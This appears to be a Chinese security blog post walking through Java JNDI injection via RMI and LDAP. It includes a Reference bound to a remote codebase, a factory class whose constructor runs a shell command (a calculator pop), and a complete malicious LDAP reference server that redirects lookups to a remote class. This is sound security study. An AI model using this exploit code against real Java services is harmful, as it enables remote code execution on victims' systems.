697 字
3 分钟
JNDI
2026-06-02

0x01 JNDI#

为命名与目录服务访问层设计的一套标准接口,使得 Java 应用以统一的方式管理和查找外部资源,主要通过 lookup 方法查找资源,rebind bind 方法发布资源。

0x02 RMI#

首先实现以下 RemoteObj RemoteObjImpl

package com.wsh.JNDI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteObj extends Remote {
public String hello(String str) throws RemoteException;
}
package com.wsh.JNDI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException {
super();
}
@Override
public String hello(String str) throws RemoteException {
System.out.println("[+] 远程方法被调用");
String result = "hello";
return result+str;
}
}

然后发布资源,通过 lookup 调用相应资源

package com.wsh.JNDI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext ctx = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
ctx.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
}
}
package com.wsh.JNDI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext ctx = new InitialContext();
RemoteObj remoteObj = (RemoteObj) ctx.lookup("rmi://localhost:1099/remoteObj");
}
}

image-20260603211616918

这里,如果 server 端绑定的是一个 Reference 对象,那么 client 端通过 lookup 获取到一个 Reference 对象,对其进行解析,并去指定 codebase 地址获取相应资源通过工厂类来实例化指定的 className

image-20260603211702041

我们在 server 端设置相应的 ref 对象,然后发起 jndi 请求。

Reference ref = new Reference("com.wsh.JNDI.Calc","com.wsh.JNDI.Calc","http://localhost:5377/");
ctx.rebind("rmi://localhost:1099/remoteObj",ref);

调试跟进,

image-20260603211724839

判断是否为 Rference 对象,然后转换类型

继续跟进,通过 loadClass 加载类,然后实例化,触发构造函数,弹出计算器

package com.wsh.JNDI;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
public Calc() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
return null;
}
}

!image-20260603211739762

跟进后是 urlClassloader 加载

0x03 LDAP#

LDAP 服务,通过拦截器将返回内容设置为对象工厂所在的 codebase ,后续走 urlClassloader 加载类,高版本下不能加载远程类,也可以将其设只为可利用类的 path

package com.wsh.JNDI;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=wsh.JNDI,dc=com";
private static final String EXPLOIT_CLASS_URL = "http://127.0.0.1:7777/#Calc_";
public static void main(String[] args) {
int port = 7778;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for" + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc_");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
// JNDI 收到 LDAP 响应时,会解析这些属性并构建 Reference 对象:
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
JNDI
https://fuwari.vercel.app/posts/javajndi/1/
作者
wele
发布于
2026-06-02
许可协议
CC BY-NC-SA 4.0